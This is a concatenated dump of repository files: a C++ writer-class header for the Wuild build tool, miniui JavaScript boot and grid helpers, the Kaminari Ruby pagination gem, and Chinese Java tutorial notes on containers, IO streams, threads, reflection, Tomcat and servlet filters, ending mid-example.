STD_TEXT, }; virtual ~AbstractWriter() = default; virtual void PrintMessage(const std::string& msg) = 0; virtual void PrintConnectedToolServer(const std::string& host, int16_t port, uint16_t runningTasks, uint16_t totalThreads) = 0; virtual void PrintSummary(int running, int thread, int queued) = 0; virtual void PrintSessions(const std::string& started, int usedThreads) = 0; virtual void PrintTools(const std::set<std::string>& toolIds) = 0; static std::unique_ptr<AbstractWriter> createWriter(AbstractWriter::OutType outType); }; class StandartTextWriter: public AbstractWriter { public: ~StandartTextWriter(); void PrintMessage(const std::string& msg) override; void PrintConnectedToolServer(const std::string& host, int16_t port, uint16_t runningTasks, uint16_t totalThreads) override; void PrintSummary(int running, int thread, int queued) override; void PrintSessions(const std::string& started, int usedThreads) override; void PrintTools(const std::set<std::string>& toolIds) override; }; class JsonWriter: public AbstractWriter { public: JsonWriter(); ~JsonWriter(); void PrintMessage(const std::string& msg) override; void PrintConnectedToolServer(const std::string& host, int16_t port, uint16_t runningTasks, uint16_t totalThreads) override; void PrintSummary(int running, int thread, int queued) override; void PrintSessions(const std::string& started, int usedThreads) override; void PrintTools(const std::set<std::string>& toolIds) override; private: struct Impl; std::unique_ptr<Impl> m_impl; };
5d0f043899e5dca79a8c8389003a0ff294172eef
[ "C++" ]
2
C++
AlienCowEatCake/Wuild
1514a749183e0f366d7e156c119901b12c455798
9d3ee75e15df9b7512ae1d1b265a932f4978ad2a
refs/heads/master
<file_sep>__CreateJSPath = function (js) { var scripts = document.getElementsByTagName("script"); var path = ""; for (var i = 0, l = scripts.length; i < l; i++) { var src = scripts[i].src; if (src.indexOf(js) != -1) { var ss = src.split(js); path = ss[0]; break; } } var href = location.href; href = href.split("#")[0]; href = href.split("?")[0]; var ss = href.split("/"); ss.length = ss.length - 1; href = ss.join("/"); if (path.indexOf("https:") == -1 && path.indexOf("http:") == -1 && path.indexOf("file:") == -1 && path.indexOf("\/") != 0) { path = href + "/" + path; } return path; } var bootPATH = __CreateJSPath("boot.js"); //debugger mini_debugger = true; //miniui document.write('<script src="' + bootPATH + 'jquery-1.6.2.min.js" type="text/javascript"></sc' + 'ript>'); document.write('<script src="' + bootPATH + 'miniui/miniui.js" type="text/javascript" ></sc' + 'ript>'); document.write('<link href="' + bootPATH + 'miniui/themes/default/miniui.css" rel="stylesheet" type="text/css" />'); document.write('<link href="' + bootPATH + 'miniui/themes/icons.css" rel="stylesheet" type="text/css" />'); //skin var skin = getCookie("miniuiSkin"); if (skin) { document.write('<link href="' + bootPATH + 'miniui/themes/' + skin + '/skin.css" rel="stylesheet" type="text/css" />'); } //////////////////////////////////////////////////////////////////////////////////////// function getCookie(sName) { var aCookie = document.cookie.split("; "); var lastMatch = null; for (var i = 0; i < aCookie.length; i++) { var aCrumb = aCookie[i].split("="); if (sName == aCrumb[0]) { lastMatch = aCrumb; } } if (lastMatch) { var v = lastMatch[1]; if (v === undefined) return v; return unescape(v); } return null; } function GetParams(url, c) { if (!url) url = location.href; if (!c) c = "?"; url = url.split(c)[1]; var params = {}; if (url) { var us = url.split("&"); for (var i = 0, l = us.length; i < l; i++) { var ps = us[i].split("="); params[ps[0]] = decodeURIComponent(ps[1]); } } return params; } function onSkinChange(skin) { //mini.Cookie.set('miniuiSkin', skin); mini.Cookie.set('miniuiSkin', skin, 100);//100天过期的话,可以保持皮肤切换 window.location.reload() } function AddCSSLink(id, url, doc) { doc = doc || document; var link = doc.createElement("link"); link.id = id; link.setAttribute("rel", "stylesheet"); link.setAttribute("type", "text/css"); link.setAttribute("href", url); var heads = doc.getElementsByTagName("head"); if (heads.length) heads[0].appendChild(link); else doc.documentElement.appendChild(link); } function alert(str) { mini.showTips({ content: "<b>" + str + "</b> ", state: "success", x: "center", y: "top", timeout: 1000 }); } function error(str) { mini.showTips({ content: "<b>" + str + "</b> ", state: "danger", x: "center", y: "top", timeout: 3000 }); } /***********grid op start***********/ function addRow(htmlguidid) { var grid = mini.get(htmlguidid); grid.addRow({}, 0); grid.beginEditCell({}, 0); } function removeRow(htmlguidid) { var grid = mini.get(htmlguidid); var rows = grid.getSelecteds(); if (rows.length > 0) { grid.removeRows(rows, true); } } function saveGrid(htmlguidid, posturl) { var grid = mini.get(htmlguidid); var data = grid.getChanges(null, true); var json = mini.encode(data); if (json.length > 0) { grid.loading("保存中,请稍后......"); $.ajax({ url: posturl, data: { data: json }, type: "post", success: function (text) { grid.reload(); }, error: function (jqXHR, textStatus, errorThrown) { alert(jqXHR.responseText); } }); } } /***********grid op end***********/
0ba9b1c2e883d048af0bff981d8dd9f56337d967
[ "JavaScript" ]
1
JavaScript
zihuxinyu/testProject
a697624446fa28bf88daf14290aa8e155cd38f10
8e6744ce86b69b035ae419431fa2973c093456fb
refs/heads/master
<file_sep>module Kaminari module Mongoid module Criteria extend ActiveSupport::Concern included do # Fetch the values at the specified page number # Model.order_by(:name.asc).page(5) def page(num) limit(@klass.default_per_page).offset(@klass.default_per_page * ([num.to_i, 1].max - 1)) end # Specify the <tt>per_page</tt> value for the preceding <tt>page</tt> scope # Model.order_by(:name.asc).page(3).per(10) def per(num) if (n = num.to_i) <= 0 self else limit(n).offset(options[:skip] / options[:limit] * n) end end # Total number of pages def num_pages (count.to_f / options[:limit]).ceil end # Current page number def current_page (options[:skip] / options[:limit]) + 1 end def limit_value options[:limit] end end end end end <file_sep>$LOAD_PATH.unshift(File.join(File.dirname(__FILE__), '..', 'lib')) $LOAD_PATH.unshift(File.dirname(__FILE__)) require 'rails' require 'kaminari' require File.join(File.dirname(__FILE__), 'fake_app') require 'rspec/rails' # Requires supporting files with custom matchers and macros, etc, # in ./support/ and its subdirectories. Dir["#{File.dirname(__FILE__)}/support/**/*.rb"].each {|f| require f} RSpec.configure do |config| config.mock_with :rr config.before :all do # ActiveRecord::Base.connection.execute 'CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "name" varchar(255))' unless ActiveRecord::Base.connection.table_exists? 'users' CreateAllTables.up unless ActiveRecord::Base.connection.table_exists? 'users' end end <file_sep>require 'rails' require 'action_view' require File.join(File.dirname(__FILE__), 'helpers') module Kaminari class Railtie < ::Rails::Railtie #:nodoc: initializer 'paginatablize' do |app| if defined? ::ActiveRecord require File.join(File.dirname(__FILE__), 'active_record') ::ActiveRecord::Base.send :include, Kaminari::ActiveRecord end if defined? ::Mongoid require File.join(File.dirname(__FILE__), 'mongoid') require File.join(File.dirname(__FILE__), 'mongoid/criteria') require File.join(File.dirname(__FILE__), 'mongoid/document') ::Mongoid::Criteria.send :include, Kaminari::Mongoid::Criteria ::Mongoid::Document.send :include, Kaminari::Mongoid::Document end ::ActionView::Base.send :include, Kaminari::Helpers end end end <file_sep>module Kaminari module Mongoid DEFAULT_PER_PAGE = 25 end end <file_sep>= Kaminari A Scope & Engine based clean and powerful and customizable and sophisticated paginator for Rails 3 == Features * Clean Does not globally pollute Array, Hash, Object or AR::Base. * Easy to use Just bundle the gem, then your models are ready to be paginated. No configuration. Don't have to define anything in your models or helpers. * Scope based simple API Everything is method chainable with less "Hasheritis". You know, that's the Rails 3 way. No special collection class or something for the paginated values but uses a general AR::Relation instance. So, of course you can chain any other conditions before or after the paginator scope. * Engine based I18n aware customizable helper As the whole pagination helper is basically just a collection of links and non-links, Kaminari renders each of them through its own partial template inside the Engine. So, you can easily modify their behaviour or style or whatever by overriding partial templates. * Modern The pagination helper outputs the HTML5 <nav> tag by default. Plus, the helper supports the Rails 3 unobtrusive Ajax. == Rails versions 3.0.x and 3.1 == Install Put this line in your Gemfile: gem 'kaminari' Then bundle: % bundle == Usage === Query Basics * the :page scope To fetch the 7th page of the users (per_page = 25 by default) User.page(7) * the :per scope To show a lot more users per each page (change the per_page value) User.page(7).per(50) Note that the :per scope is not directly defined on the models but is just a method defined on the page scope. This is absolutely reasonable because you will never actually use "per_page" without specifying the "page" number. === Configuring default per_page value for each model * paginates_per You can specify default per_page value per each model using the following declarative DSL. class User < ActiveRecord::Base paginates_per 50 end === Controllers * the page parameter is in params[:page] Typically, your controller code will look like this: @users = User.order(:name).page params[:page] === Views * the same old helper method Just call the "paginate" helper: <%= paginate @users %> This will render several "?page=N" pagination links surrounded by an HTML5 <nav> tag. === Helper Options * specifing the "inner window" size (4 by default) This would output something like ... 5 6 7 8 9 ... when 7 is the current page. <%= paginate @users, :window => 2 %> * specifing the "outer window" size (1 by default) This would output something like 1 2 3 4 ...(snip)... 17 18 19 20 while having 20 pages in total. <%= paginate @users, :outer_window => 3 %> * outer window can be separetely specified by "left", "right" (1 by default) This would output something like 1 ...(snip)... 18 19 20 while having 20 pages in total. <%= paginate @users, :left => 0, :right => 2 %> * extra parameters (:params) for the links This would modify each link's url_option. :controller and :action might be the keys in common. <%= paginate @users, :params => {:controller => 'foo', :action => 'bar'} * Ajax links (crazy simple, but works perfectly!) This would add data-remote="true" to all the links inside. <%= paginate @users, :remote => true %> === I18n and labels The default labels for 'previous', '...' and 'next' are stored in the I18n yaml inside the engine, and rendered through I18n API. You can switch the label value per I18n.locale for your internationalized application. Keys and the default values are the following. You can override them by adding to a YAML file in your Rails.root/config/locales directory. en: views: pagination: previous: "&laquo; Prev" next: "Next &raquo;" truncate: "..." === Customizing the pagination helper Kaminari includes a handy template generator. * to edit your paginator Run the generator first, % rails g kaminari:views default then edit the partials in your app's app/views/kaminari/ directory. * for Haml users Haml templates generator is also available by adding "-e haml" option (this would actually be automatically invoked while the default template_engine is set to Haml). % rails g kaminari:views default -e haml * themes The generator has the ability to fetch several sample template themes from the external repository (https://github.com/amatsuda/kaminari_themes) in addition to the bundled "default" one, which will help you creating a nice looking paginator. % rails g kaminari:views THEME To see the full list of avaliable themes, take a look at the themes repository, or just hit the generator without specifying THEME argument. % rails g kaminari:views == For more information Check out Kaminari recipes on the GitHub Wiki for more advanced tips and techniques. https://github.com/amatsuda/kaminari/wiki/Kaminari-recipes == Questions, Feedbacks Feel free to message me on Github (amatsuda) or Twitter (@a_matsuda) ☇☇☇ :) == Contributing to Kaminari * Fork, fix, then send me a pull request. == Copyright Copyright (c) 2011 <NAME>. See LICENSE.txt for further details.
0324771a1383c65d13c71131cb2e0e9e6aaeb08f
[ "RDoc", "Ruby" ]
5
Ruby
pedrobrasileiro/kaminari
82dc93182caf675461a101e4ae31e5258bdb0b1b
13e28999f38873124eca1e6c712e3392319569a7
refs/heads/master
<repo_name>PaulMing/javastudy<file_sep>/java基础2/4.多线程/README.md ## 多线程 > 背景:操作系统'向上提供接口/系统调用、向下统一管理硬件资源',其具备处理机调度能力,调度的基本单位是线程,也就是启动程序本质就是进程跑起来,然后进程中包含若干线程,有可能仅启用主线程,或者启用若干线程 -> 程序语言封装接口支持多线程API化调用,满足多线程的开发需求 => JAVA支持多线程编程,实际其就是多线程编程语言,java程序运行首先就包括'main主线程、GC线程',其它就需要手动创建线程 ### 进程 && 线程 -> 计算机操作系统部分详解 > 进程:处理器进行作业调度[将程序从外存调入内存]时会创建进程,其是资源分配的基本单位 > 线程:进程中包含若干线程,其是处理器调度的基本单位 > 聚焦点:状态、通信、资源访问带来的系列问题[互斥、同步、死锁的触发/预防/解决] > -> 线程的出现增加了并发度,单位时间内可完成更多任务的并发执行 ### java多线程 > 聚焦:线程实现、线程状态、线程同步、线程通信<file_sep>/java基础1/11.注解/README.md ## 注解 > 参考'java基础2中的注解反射部分' -> 注解涉及到的基础知识较多,因此放到了'java基础2'<file_sep>/java基础1/8.类/3.其它/1.final/README.md ## final修饰符/关键字 > 其表示'最终的状态',可修饰变量、方法、类 ### 修饰变量 > 1. 修饰基本数据类型变量,修饰后变量值不可改变,实际就是变成了常量,变量名必须大写 > 2. 修饰引用数据类型变量,修饰后变量地址值不可改变,但变量中的值可改变,例如类中的属性依旧可改变 ```java public class Animal { public String name; public int age; public void shout() { System.out.println("shout") } } public class Test { public static void main(String[] args) { final int VALUE = 10; // VALUE = 20;//不可修改值 final Animal animal = new Animal(); // animal = new Animal();//修饰后的引用类型地址值不可改变 animal.age = 6;//对象的属性值依旧可修改 final Animal animal1 = new Animal(); deal1(animal1); deal2(animal2); } // final修饰函数参数 public static void deal1(Animal animal) { animal = new Animal();//可修改 } public static void deal2(final Animal animal) { // animal = new Animal();//不可修改 } } ``` ### 修饰方法 > 修饰后的方法不可以被重写 -> 主要修饰'继承关系'中父类的方法 ```java public class Animal { final public void shout() { System.out.println("shout") } } public class Cat extends Animal { // 子类不可重写shout // public void shout() {} } ``` ### 修饰类 > 修饰后的类不可以被继承,没有子类 -> 若类被final修饰,里面的方法若用final修饰可省略不写,因为不能被继承,也就不存在方法重写 ```java public final class Animal { /*final*/ public void shout() { System.out.println("shout") } } // 不能继承final修饰的类 public class Cat extends Animal { } ```<file_sep>/java基础2/2.容器/3.补充/2.Collections工具类/README.md ## Collections工具类 > 其是辅助工具类,提供的都为静态方法 -> 主要用于对Set、List、Map等容器进行排序、查找等处理 > 常用方法: > void sort(List);// 对元素进行排序 -> 升序 > void shuffle(List);// 对元素进行随机排列 > void reverse(List);// 对元素进行逆序排列 > void fill(List,Object);// 用特定的对象重写整个List容器 > int binarySearch(List,Object);// 对于顺序容器,采用折半查找的方法查找特定对象 ```java package com.mi.other; import java.util.List; import java.util.ArrayList; import java.util.Collections; public class CollectionsTest { public static void main(String[] args) { List<String> list = new ArrayList<>(); list.add("a"); list.add("c"); list.add("b"); list.add("e"); list.add("d"); // void sort(List);// 对元素进行排序 -> 升序 Collections.sort(list); for(String str: list) { System.out.println(str); } // void shuffle(List);// 对元素进行随机排列 Collections.shuffle(list); for(String str: list) { System.out.println(str); } // void fill(List,Object);// 用特定的对象重写整个List容器 Collections.fill(list,"newStr"); for(String str: list) { System.out.println(str); } } } ```<file_sep>/java基础1/8.类/2.三大特性/1.封装/README.md ## 封装 > 隐藏内部实现,仅对外暴露简单的调用形式即可,提高代码安全性 -> 符合程序设计中的'高内聚、低耦合' > 高内聚:内部完成数据操作,尽量少的外部干涉 > 低耦合:仅对外暴露调用形式,尽量减少模块间的联系 > 类中封装思想的体现:主要是对属性封装 > 1. 属性私有化 private修饰 > 2. 提供public修饰的方法供外界调用 -> setter/getter方法[IDEA快捷键生成alt+insert,选择'getterandsetter'] > -> 外界可访问属性,但不能随意访问,方法中添加了限制条件 ```java public class Person { private int age; // 读操作 public int getAge() { return age; } // 写操作 public void setAge(int age) { if(age < 0) { this.age = 0; } else if (age > 150) { this.age = 150; } else { this.age = age; } } } ```<file_sep>/java基础2/8.javaweb/5.filter/README.md ## filter -> 过滤器 > 背景:客户端 -> 服务器 -> servlet容器;//所有的请求都会打到servlet容器,每个servlet就需要写相同的代码,例如处理乱码、垃圾请求,权限验证等,filter会在网络请求打到servlet容器前添加过滤,实际就是将各个servlet公有代码提取出来即可 ![](assets/filter.png) ### 使用 > 1. web.xml中添加过滤器 ```xml <!-- 过滤器注册 --> <filter> <filter-name>CharacterEncodingFilter</filter-name> <filter-class>com.tt.filter.CharacterEncodingFilter</filter-class> </filter> <!-- 映射 --> <filter-mapping> <filter-name>CharacterEncodingFilter</filter-name> <!-- 只要是如下路径都要进行过滤 --> <url-pattern>/filter/*</url-pattern> </filter-mapping> ``` > 2.过滤器类 ```java package com.tt.filter; import javax.servlet.*; import java.io.IOException; /* 过滤器使用: 1.需实现Filter接口[javax.servlet.*,不要导错了] 2.重写方法 init();//初始化 doFilter();//过滤函数 destroy();//销毁 */ public class CharacterEncodingFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { // 服务器启动时初始化 -> 通过filterConfig参数操作一些事项 System.out.println("初始化"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("filter执行前"); servletRequest.setCharacterEncoding("utf-8"); servletResponse.setCharacterEncoding("utf-8"); servletResponse.setContentType("text/html;charset=UTF-8");//指定服务器响应给浏览器的编码 && 浏览器会根据该值对接收到的数据进行编码(解码) // filterChain.doFilter(servletRequest,servletResponse); 请求继续往下走,不写默认拦截 filterChain.doFilter(servletRequest,servletResponse); System.out.println("filter执行后"); } @Override public void destroy() { // 服务器关闭时销毁 System.out.println("销毁"); } } ```<file_sep>/java基础2/TestPro/container/src/com/mi/list/ArrayListTest.java package com.mi.list; import java.util.ArrayList; import java.util.List; public class ArrayListTest { public static void main(String[] args) { List<String> list = new ArrayList<>(); // 添加 boolean flag1 = list.add("hello"); boolean flag2 = list.add("world"); System.out.println(flag1); // 插入 list.add(1,"insertElement"); // 获取元素 for(int i=0; i< list.size(); i++) { System.out.println(list.get(i)); } // 删除元素 String ele = list.remove(1); System.out.println(ele); boolean res = list.remove("world"); System.out.println(res); // 替换元素 String val = list.set(0,"newHello"); System.out.println(val);// 替换掉的元素 // 清空容器 list.clear(); // 判定容器是否为空 boolean isEmpty = list.isEmpty(); System.out.println(isEmpty); // 是否包含某元素 list.add("Hello"); list.add("Hello1"); boolean isExist = list.contains("world"); System.out.println(isExist); // 查找元素位置 int index = list.indexOf("Hello"); System.out.println(index); int lastIndex = list.lastIndexOf("Hello"); System.out.println(lastIndex); // 单例集合转换为数组 Object[] arr = list.toArray(); for(int i=0; i<arr.length; i++) { String str = (String)arr[i]; System.out.println(str); } String[] arr2 = list.toArray(new String[list.size()]); for(int i=0; i<arr2.length; i++) { System.out.println(arr2[i]); } // 多集合操作 List<String> a = new ArrayList<>(); a.add("a"); a.add("b"); a.add("c"); List<String> b = new ArrayList<>(); b.add("d"); b.add("e"); b.add("f"); b.add("c"); // 并集 boolean newFlag = a.addAll(b);//若b为空集,返回false -> 实际也没必要对空集求并集 System.out.println(newFlag); for(String str: a) { System.out.println(str); } // 交集 boolean newFlag1 = a.retainAll(b); for(String str: a) { System.out.println(str); } // 差集 boolean newFlag2 = a.removeAll(b); for(String str: a) { System.out.println(str); } } }<file_sep>/java基础2/TestPro/annotation/src/com/mi/annotation/TestInside.java /* 内置注解: @Override: 仅用于修饰方法,某方法声明需重写超类中的方法声明 -> java.lang.Override包 @Deprecated: 用于修饰属性、方法、类,表示不建议使用,因为其很危险[可能废弃]或者有更好的替代选择,实际也是因为JDK的发展导致某些库未来不被使用,但目前依旧被使用 -> java.lang.Deprecated @SuppressWarnings: 用于修饰属性、方法、类,抑制编译时的警告信息,需要添加参数才可使用[预定义参数] -> java.lang.SuppressWarnings @SuppressWarnings("all") @SuppressWarnings("unchecked") @SuppressWarnings(value={"unchecked","deprecation"}) */ package com.mi.annotation; import java.util.ArrayList; import java.util.List; public class TestInside extends Object { @Override public String toString() { System.out.println(""); return ""; }; @Deprecated public static void test() { System.out.println("不建议使用"); } @SuppressWarnings("all") public void demo() { List<String> list = new ArrayList<String>();// 定义list却不使用,其会报警告,使用@SuppressWarnings()注解,其会抑制警告 } public static void main(String[] args) { test(); } }<file_sep>/java基础2/3.IO流/8.随机访问流/README.md ## 随机访问流 > 实现对文件的读写操作 > 可操作文件的任意位置,其它流处理仅能按先后顺序操作 -> 开发某些客户端系统时,经常会用到这个'可任意操作文件内容'的类,java目前很少用于开发客户端软件,所以使用场景较少 > 常用方法: > RandomAccessFile(String name, String mode);//name:文件名; mode: r(读)/rw(读写),文件访问权限 > seek(long a);//定位流对象读写文件的位置,a表示读写位置距离文件开头的字节个数 > getFilePointer();//获得流的当前读写位置 ```java package com.mi.demo; import java.io.RandomAccessFile; public class RandomAccessFileDemo { public static void main(String[] args) { RandomAccessFile raf = null; try { int[] arr = new int[]{10,20,30,40,50,60,70,80,90,100}; for(int i=0; i<arr.length; i++){ raf.writeInt(arr[i]); } raf.seek(4);//操作int类型数据,int占4个字节,也就是此时其在20所在字节的位置 System.out.println(raf.readInt()); // 隔一个读取一个数据 for(int i=0; i<10; i+=2) { raf.seek(i*4); System.out.print(raf.readInt() + "\t"); } System.out.println(); } catch(Exception e) { e.printStackTrace(); } finally { try { if(raf != null) { raf.close(); } } catch(Exception e) { e.printStackTrace(); } } } } ```<file_sep>/java基础2/TestPro/reflect/src/com/mi/reflect/TestReflect4.java /* 动态创建对象执行方法 */ package com.mi.reflect; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class TestReflect4 { public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException { // Class c1 = Class.forName("com.mi.reflect.User1"); // System.out.println(c1); User1 ur = new User1(); Class c1 = ur.getClass(); // 构造对象:默认调用无参构造器 User1 user = (User1)c1.newInstance(); System.out.println(user); // 构造对象:调用有参构造器 Constructor constructor = c1.getConstructor(String.class,int.class,int.class); User1 user1 = (User1)constructor.newInstance("a",1,1); System.out.println(user1); // 调用方法 Method setName = c1.getDeclaredMethod("setName",String.class); setName.invoke(user,"a");// invoke:激活 -> invoke(对象,参数) System.out.println(user.getName()); // 操作属性 Field name = c1.getDeclaredField("name"); name.setAccessible(true);//安全检测关掉,关掉才可操作私有属性 -> 默认是false; true:关掉、false:开启 name.set(user,"b"); } } class User1 { private String name; private int id; private int age; public User1(String name, int id, int age) { this.name = name; this.id = id; this.age = age; } public User1() {} public String getName() { return name; } public void setName(String name) { this.name = name; } public int getId() { return id; } public void setId(int id) { this.id = id; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } }<file_sep>/java基础2/3.IO流/README.md ## IO流 -> Input/Output > 背景:程序的运行需要数据,数据的获取需要和外部系统通信,外部系统复杂多变[文件、数据库、网络、IO设备、其它程序等] -> 操作系统'基于硬件封装'向上提供接口,程序语言'基于操作系统'向开发者提供接口,也就是程序语言进行抽象,屏蔽外部差异,基于功能提供不同的接口满足需求,从而更高效的编程 => 所有后端程序语言都会提供IO操作接口,因为后端必然需要处理数据 > 输入Input: 程序读取数据 > 1. 读取硬盘上的文件内容到程序:播放器打开视频文件、word打开文档 > 2. 读取网络数据:浏览器根据URL加载网站内容 > 3. 读取数据库:读取数据库系统的数据到程序 > 4. 读取硬件系统数据:车载电脑读取雷达扫描信息、温控系统等 > 输出Output: 程序写入数据到外部系统 > 1. 数据写入到硬盘:word文档的保存 > 2. 写入数据库:将数据库写入数据 > 3. 数据写入硬件系统:导弹系统将路径输出到飞控子系统 ### IO流的程序语言视角 > 本质:程序语言会将上述IO流中的概念进行抽象,更适合编程理解 > 数据源:实际就是外部设备(提供数据) -> Data Source > 源设备:为程序提供数据,对应输入流 > 目标设备:程序数据目的地,对应输出流 > 流:连续动态的数据集合[实际是抽象概念] -> Stream > 输入流:数据源[源设备] -> 程序 > 输出流:程序 -> 数据源[目标设备] ![](assets/IO流.png) ### JAVA中的IO流 > 其提供了四大抽象类:字节处理[InputStream/OutputStream]、字符处理[Reader/Writer] -> 基于抽象类提供了很多实现类,开发者可根据不同功能要求、性能要求挑选合适的实现类 ```java /* 抽象类及抽象方法: InputStream: int read();//读取一个字节的数据,返回int类型值(0~255,1个字节是8bit,2的8次方),未读出字节则返回-1 void close();//关闭输入流对象,释放相关系统资源 OutputStream: void write(int n);//向目标数据源写入一个字节 void close();//关闭输出流对象,释放相关系统资源 Reader: int read();//读取一个字符的数据,返回int类型值(0~65535,字符的Unicode值),未读出字符则返回-1 void close();//关闭输入流对象,释放相关系统资源 Writer: void write(int n);//向目标数据源学入一个字符 void close();//关闭输出流对象,释放相关系统资源 */ ``` #### 补充概念 > 按流的方向分类 > 输入流:数据源[源设备] -> 程序,以InputStream、Reader结尾的流 > 输出流:程序 -> 数据源[目标设备],以OutputStream、Writer结尾的流 > 按处理的数据单元分类 > 字节流:以字节为单位处理,以Stream结尾的流,FileInputStream/FileOutputStream > 字符流:以字符为单位处理,以Reader/Writer结尾的流,FileReader/FileWriter > 按处理对象不同分类 > 节点流:可直接从数据源或目的地读写数据,FileInputStream、FileReader、DataInputStream > 处理流/包装流:处理流的流,通过对其它流的处理提高程序的性能,BufferedInputStream、BufferedReader > -> 节点流处于IO操作的第一线,所有操作必须通过它们进行,处理流也可对节点流进行包装<file_sep>/java基础2/8.javaweb/testPro/javaweb-03-servlet/response/src/main/java/README.md # response对象 > 其表示服务端的响应,响应信息相关接口都被封装到HttpServletResponse > 应用: > 1. 向客户端发送信息 > 2. 客户端下载文件 > 3. 重定向<file_sep>/java基础2/TestPro/thread/src/com/mi/threadstatus/TestStopDemo.java /* 线程停止:终止状态 */ package com.mi.threadstatus; public class TestStopDemo implements Runnable{ // 标志位 private boolean flag = true; @Override public void run() { int i = 0; while(flag) { System.out.println("输出:" + i); } } // stop public void stop() { this.flag = false; } // main主线程 public static void main(String[] args) { TestStopDemo testStopDemo = new TestStopDemo(); new Thread(testStopDemo,"stop").start(); for(int i = 0; i<=100000; i++) { if(i == 100000) { testStopDemo.stop(); System.out.println("线程停止"); } } } }<file_sep>/java基础2/8.javaweb/1.tomcat/README.md ## tomcat -> Apache基金会下开源项目 > 其是由Apache、Sun和其它公司以及个人共同开发而成,因为Sun的参与,tomcat总能很好支持servlet、jsp -> 实际其就是'服务器',提供配置文件进行'配置化操作',并不关心静态or动态web,涉及到动态web技术配置servlet即可 ### 环境搭建 > 1. 官网下载解压缩即可:https://tomcat.apache.org ![](assets/环境搭建/下载.png) > 2. 目录结构 ![](assets/环境搭建/目录结构.png) > 3. 启动/关闭 > 启动:双击'bin/startup.bat',之后会运行'命令行窗口',其就是整个服务器运行情况 > 关闭:双击'bin/stutdown.bat' -> 或者直接关闭'命令行窗口'即可 ![](assets/环境搭建/启动关闭.png) > 4. web项目配置及存放位置 > 本质:请求打到服务器上获取资源 -> 需要配置请求地址、端口、资源存放位置[其提供默认配置,用户可灵活修改] ![](assets/环境搭建/配置文件.png) ![](assets/环境搭建/web项目.png) > 目录参考: + webapps # tomcat设置的web目录 - ROOT # localhost:8080默认读取的资源目录 - testPro # 自定义web项目名 - WEB-INF # 项目整体配置,此处可写java程序[完成动静分离,静态直接返回index.html,动态使用接口处理] - classes # java程序 - lib # 依赖的jar包 - web.xml # 网站配置文件 - index.html # 默认首页 -> index.jsp或者其它tomcat支持的文件格式均可 - static # 静态资源 - js - css - img - .... # 其它 ### IDEA中配置tomcat > 最新版IDEA需手动添加tomcat插件,旧版IDEA内置tomcat插件,开发者可忽略第1步,直接进行第2步的配置即可 > 1. 添加tomcat插件 ![](assets/idea配置tomcat/安装插件step1.png) ![](assets/idea配置tomcat/安装插件step2.png) > 2. 配置tomcat ![](assets/idea配置tomcat/配置step1.png) ![](assets/idea配置tomcat/配置step2.png) ![](assets/idea配置tomcat/配置step3.png)<file_sep>/java基础2/3.IO流/4.字节流字符流的转换/README.md ## 字节流字符流的转换 > 背景:开发中会遇到字节字符流转换情况,例如System.in/System.out就是字节流对象,每次仅能获取一个字节,但我们需要以行为单位操作数据,就会用到缓冲字符流提供的readLine()/writeLine(),但这两个方法仅能处理字符流,因此需要进行转换 -> JAVA提供了两个类InputStreamReader/OutputStreamWriter ```java package com.mi.demo; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.InputStreamReader; import java.io.OutputStreamWriter; public class ConvertStream { public static void main(String[] args) { BufferedReader br = null; BufferedWriter bw = null; try{ br = new BufferedReader(new InputStreamReader(System.in)); bw = new BufferedWriter(new OutputStreamWriter(System.out)); while(true) { bw.write("请输入:"); bw.flush(); String input = br.readLine(); bw.write("输入的是:" + input); bw.newLine(); bw.flush(); } }catch(Exception e) { e.printStackTrace(); }finally { try { if(bw != null) { bw.close(); } if(br != null) { br.close(); } } catch(Exception e) { e.printStackTrace(); } } } } ```<file_sep>/java基础2/TestPro/io/src/com/mi/demo/ConvertStream.java /* 字节字符转换流: 背景:开发中会遇到字节字符流转换情况,例如System.in/System.out就是字节流对象,每次仅能获取一个字节,但我们需要以行为单位操作数据,就会用到缓冲字符流提供的readLine()/writeLine(),但这两个方法仅能处理字符流,因此需要进行转换 -> JAVA提供了两个类InputStreamReader/OutputStreamWriter */ package com.mi.demo; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.InputStreamReader; import java.io.OutputStreamWriter; public class ConvertStream { public static void main(String[] args) { BufferedReader br = null; BufferedWriter bw = null; try{ br = new BufferedReader(new InputStreamReader(System.in)); bw = new BufferedWriter(new OutputStreamWriter(System.out)); while(true) { bw.write("请输入:"); bw.flush(); String input = br.readLine(); bw.write("输入的是:" + input); bw.newLine(); bw.flush(); } }catch(Exception e) { e.printStackTrace(); }finally { try { if(bw != null) { bw.close(); } if(br != null) { br.close(); } } catch(Exception e) { e.printStackTrace(); } } } }<file_sep>/java基础1/12.标准类库/3.时间处理相关类/README.md ## 时间处理相关类 > Date、DateFormat、Calendar是相对独立的类,并没有继承关系 > 背景:JDK1.1之前仅有Date类,其提供了日期操作、字符串转换成时间对象等方法,但是目前都废弃了;JDK1.1之后提供了字符串转化DateFormat类、日期操作类Calendar ![](assets/类关系.png) ### 时间戳 > 1970年01月01日00:00:00定为基准时间,所有时间到基准时间的毫秒数称为时间戳 ```java // 开发中使用long类型定义变量,其数据范围可表示基准时间往前几亿年、往后几亿年 long range = Long.MAX_VALUE/(1000L*3600*24*365);//292471208 -> 2.9亿年 // 时间戳 long now = System.currentTimeMillis();//当前时间到基准时间的毫秒数 -> 当前时间指的是操作系统时间,可手动更改 ```<file_sep>/java基础2/4.多线程/3.线程同步/3.死锁的出现及解决/README.md ## 死锁的出现及解决 > 死锁:多线程共享资源时互相等待对方释放资源才能运行,这样就造成了线程都停止执行 > JAVA中死锁情形:某一个同步块同时拥有'两个以上对象的锁'时,就有可能发生'死锁问题' ### 死锁问题 > 某一个同步块同时拥有'两个以上对象的锁' ```java package com.mi.threadsyn.lock; public class TestDeadLock { public static void main(String[] args) { Makeup u1 = new Makeup(0,"a"); Makeup u2 = new Makeup(1,"b"); new Thread(u1).start(); new Thread(u2).start(); } } // 口红 class Lipstick {} // 镜子 class Mirror {} // 化妆 class 